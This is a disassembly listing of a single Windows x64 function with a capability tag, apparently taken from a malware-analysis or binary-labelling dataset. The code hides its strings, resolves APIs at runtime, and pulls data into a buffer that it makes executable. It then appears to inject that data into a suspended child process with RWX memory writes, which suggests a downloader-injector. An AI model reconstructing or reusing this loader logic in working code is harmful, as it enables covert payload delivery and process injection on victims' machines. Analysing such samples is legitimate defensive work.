Function at 0x140007bb0
Capabilities:
Link many functions at runtime

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x758
call fcn.140001660
lea rcx, str.TZMQZS_f_r
lea r14, [rsp + 0x130]
call fcn.140001570
mov rbx, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
push rax
pop rcx
nop
call rbx
lea rcx, str.HVQVQZK
push rax
nop
pop rbp
call fcn.140001570
nop
push rax
pop rcx
call rbx
lea rcx, str.xZKrP_JSZyVSZqRZ
push rax
nop
pop rdi
call fcn.140001570
mov rsi, qword [sym.imp.KERNEL32.dll_GetProcAddress]
nop
push rbp
pop rcx
push rax
pop rdx
nop
call rsi
lea rcx, str.xZKkZROoKW
nop
push rax
pop rbx
call fcn.140001570
nop
push rbp
pop rcx
push rax
nop
pop rdx
call rsi
lea rcx, str.POFyVSZ
mov r15, rax
call fcn.140001570
push rbp
pop rcx
nop
push rax
nop
pop rdx
call rsi
lea rcx, str.MZKZoMPZLL
mov qword [rsp + 0x58], rax
call fcn.140001570
nop
push rbp
pop rcx
push rax
pop rdx
nop
call rsi
lea rcx, str.hVKyPMlVQXSZp_UZK
mov qword [rsp + 0x50], rax
call fcn.140001570
push rbp
nop
pop rcx
nop
push rax
pop rdx
call rsi
lea rcx, str.SPLZwQ_SZ
mov qword [rsp + 0x88], rax
call fcn.140001570
nop
push rbp
pop rcx
push rax
pop rdx
nop
call rsi
lea rcx, str.iVMKJSoMPKZK
mov r13, rax
call fcn.140001570
nop
push rbp
pop rcx
push rax
pop rdx
nop
call rsi
lea rcx, str.zQJRKZyPMRKL
mov qword [rsp + 0x60], rax
call fcn.140001570
nop
push rbp
pop rcx
push rax
nop
pop rdx
call rsi
lea rcx, str.iVMKJSSSPzG
call fcn.140001570
nop
push rbp
pop rcx
push rax
pop rdx
nop
call rsi
lea rcx, str.hMVKZoMPZLLrZRPMF
mov qword [rsp + 0x68], rax
call fcn.140001570
push rbp
pop rcx
nop
nop
push rax
pop rdx
call rsi
lea rcx, str.nJZJZjLZMo
mov qword [rsp + 0x70], rax
call fcn.140001570
push rbp
pop rcx
nop
push rax
nop
pop rdx
call rsi
lea rcx, str.mZLJRZkWMZ_
mov qword [rsp + 0x78], rax
call fcn.140001570
nop
push rbp
pop rcx
push rax
nop
pop rdx
call rsi
lea rcx, str.vQKZMQZKpOZQ
mov qword [rsp + 0x80], rax
call fcn.140001570
nop
push rdi
pop rcx
push rax
pop rdx
nop
call rsi
lea rcx, str.vQKZMQZKpOZQjMS
mov r12, rax
call fcn.140001570
nop
push rdi
pop rcx
push rax
pop rdx
nop
call rsi
lea rcx, str.vQKZMQZKmZ_yVSZ
push rax
pop rbp
nop
call fcn.140001570
push rdi
nop
pop rcx
lea rdi, [rsp + 0x240]
push rax
nop
pop rdx
call rsi
mov r8d, 0x104
sub ecx, ecx
mov rdx, r14
nop
push rax
pop rsi
call rbx
push rdi
nop
pop rdx
mov ecx, 0x104
call r15
lea rcx, str.LIWPLK
call fcn.140001570
nop
push rdi
pop rcx
nop
push rax
pop rdx
call sub.msvcrt.dll_strcat
push rdi
pop rdx
nop
mov rcx, r14
call sub.msvcrt.dll_strstr
or rax, rax
je 0x140007fb7
lea rax, [rsp + 0xa0]
lea rbx, [rsp + 0x350]
mov qword [rsp + 0x58], rax
lea r14, [rsp + 0xc0]
lea rcx, str.hZ_mZ_ZM
xor r15d, r15d
call fcn.140001570
sub r9d, r9d
sub r8d, r8d
sub edx, edx
nop
push rax
pop rcx
mov dword [rsp + 0x20], 0
call r12
lea rcx, str.WKKO
push rax
nop
pop rdi
call fcn.140001570
push rdi
nop
pop rcx
sub r9d, r9d
sub r8d, r8d
mov qword [rsp + 0x28], 0
push rax
nop
pop rdx
lea rdi, [rsp + 0x98]
mov dword [rsp + 0x20], 0
call rbp
mov qword [rsp + 0x88], r14
sub ebp, ebp
mov r13, rax
jmp 0x140007e76
mov r14d, dword [rsp + 0x98]
test r14d, r14d
je 0x140007e8e
lea edx, [r15 + r14]
push rbp
pop rcx
nop
mov r15, rdx
call sub.msvcrt.dll_realloc
mov r8d, r14d
push rbx
nop
pop rdx
lea rcx, [rax + r12]
push rax
pop rbp
nop
call sub.msvcrt.dll_memcpy
mov r9, rdi
mov r8d, 0x400
push rbx
pop rdx
nop
mov rcx, r13
call rsi
movsxd r12, r15d
or eax, eax
jne 0x140007e48
mov r14, qword [rsp + 0x88]
mov rdx, r12
mov r8d, 0x40
lea r9, [rsp + 0x9c]
push rbp
pop rcx
nop
mov rax, qword [rsp + 0x60]
mov dword [rsp + 0x9c], 0
call rax
mov rdi, r14
sub eax, eax
mov ecx, 0xd
rep stosq qword [rdi], rax
pxor xmm0, xmm0
lea rcx, [0x14000a1c8]
mov qword [rsp + 0xb0], 0
movaps xmmword [rsp + 0xa0], xmm0
call fcn.140001570
sub r9d, r9d
sub r8d, r8d
sub edx, edx
nop
push rax
pop rcx
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0xc0]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x50]
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
call rax
mov rdi, qword [rsp + 0xa0]
mov r8, r12
sub edx, edx
mov rsi, qword [rsp + 0xa8]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x1000
nop
push rdi
pop rcx
mov rax, qword [rsp + 0x68]
call rax
mov r9, r12
mov r8, rbp
push rdi
nop
pop rcx
mov qword [rsp + 0x20], 0
nop
push rax
pop rbx
nop
push rax
pop rdx
mov rax, qword [rsp + 0x70]
call rax
sub r8d, r8d
push rsi
pop rdx
nop
push rbx
pop rcx
nop
mov rax, qword [rsp + 0x78]
call rax
mov rax, qword [rsp + 0x80]
push rsi
pop rcx
nop
call rax
sub eax, eax
add rsp, 0x758
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
sub r8d, r8d
push rdi
pop rdx
nop
mov rcx, r14
mov rax, qword [rsp + 0x58]
call rax
lea rcx, str.LWKLTL
lea rbx, [rsp + 0x350]
call fcn.140001570
mov r8, rdi
push rbx
pop rcx
nop
lea r14, [rsp + 0xc0]
push rax
pop rdx
nop
call fcn.140001540
sub eax, eax
mov ecx, 0x19
sub r9d, r9d
lea rdx, [rsp + 0xc4]
sub r8d, r8d
nop
push rdx
pop rdi
sub edx, edx
rep stosd dword [rdi], eax
lea rdi, [rsp + 0xa0]
mov ecx, 6
mov dword [rsp + 0xc0], 0x68
mov qword [rsp + 0x58], rdi
rep stosd dword [rdi], eax
mov rdi, qword [rsp + 0x58]
sub eax, eax
mov dword [rsp + 0x20], edx
mov qword [rsp + 0x38], rax
nop
push rbx
pop rdx
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x40], r14
mov dword [rsp + 0x28], 0x8000000
call rax
mov rcx, qword [rsp + 0xa0]
or edx, 0xffffffff
mov rax, qword [rsp + 0x88]
call rax
mov rcx, qword [rsp + 0xa0]
call r13
mov rcx, qword [rsp + 0xa8]
call r13
jmp 0x140007dda